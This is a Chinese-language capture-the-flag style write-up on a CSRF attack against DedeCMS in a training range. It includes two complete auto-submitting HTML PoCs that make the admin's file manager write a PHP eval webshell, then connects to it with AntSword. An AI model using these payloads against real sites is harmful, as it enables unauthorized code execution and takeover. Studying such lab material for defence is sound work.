前言
CSRF跨站请求伪造了解
csrf跨站请求伪造:也被称为“one click attack”或者sessingriding,通常缩写为csrf或者xsrf,是一种对网站的恶意利用。尽管听起来像跨站脚本(xss)但它与xss非常不同,xss利用的是站点内的信任用户,而csrf是通过伪装来自受信任的用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
用户只要不关闭阅览器或者退出登录的时候,如果用户无意间点开了构造好的csrf脚本的链接,可能会用户不想做的事(通过恶意的js代码可以操纵阅览器去发送修改用户信息的数据包给正常的网站)
(因为用户访问正常网站时会产生cookie,,而用户没有关闭或者退出登陆,所以这个cookie还没有失效,所以就会很容易的进入正常网站去修改用户的信息)
构造csrf恶意网站方法
Burp有自己构造csrf poc 的功能,在让用户访问这个构造好的网页
靶场环境
不用下源码,直接用这个测试csrf,poc的作用
织梦管理登陆:http://59.63.200.79:8010/csrf/uploads/dede/login.php
登陆方式:admin admin123
这个织梦网站,是我们提交问题反馈,机器人访问从而getshell的网站
http://59.63.200.79:8010/newcsrf/
问题反馈:http://59.63.200.79:8010/newcsrf/test/
分析,提示是织梦cms,应该是发给管理员访问,然后直接写一句话,因为管理员页面无法访问。
由于找历史源码很麻烦,所以就不本地测试,直接用提供的第一个有账号密码的织梦靶场来测试是否存CSRF
首先登陆之后,进入文件式管理器,写一句话木马抓包看看
发现并没有token,或者验证码等限制,可以利用BURP的POC生成CSRF
创建一个test.html来存储,来测试
打开刚刚新建的test.html,点击submit测试
成功生成shell
但是这种需要我们自己点submit的方式一般没人会点,所以我们调成自动访问,加一个name:aa,然后document.aa.submit()直接提交实现自动提交,无需点击
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/csrf/uploads/uploads" />
<input type="hidden" name="filename" value="shell.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST[1]);?>" />
<input type="hidden" name="B1" value=" ±£ ′? " />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>
既然测试环境已经成功实现了csrf,我们可以尝试获取一下newcsrf靶场的实战,接着通过目录扫描获取了newcsrf的文件操作目录http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php,将poc中的action改成newcsrf的文件操作目录就可以提交了(注意:上传的一句话木马路径也要改对 name="activepath" value="/newcsrf"
)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/newcsrf" />
<input type="hidden" name="filename" value="a.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST[1]);?>" />
<input type="hidden" name="B1" value=" ±£ ′? " />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>
因为我们可能没有公网,所以靶场提供了一个可以上传html的地方,在问题反馈页面
上传刚刚我们得到poc,看看是否存在,记得确认是否存在
确认好了,就可以上传shell到主页了,问题反馈一下,让机器人访问一下
接着我们就可以在我们上传的路径看到shell了
下面基操,蚁剑连接,拿flag
我的个人博客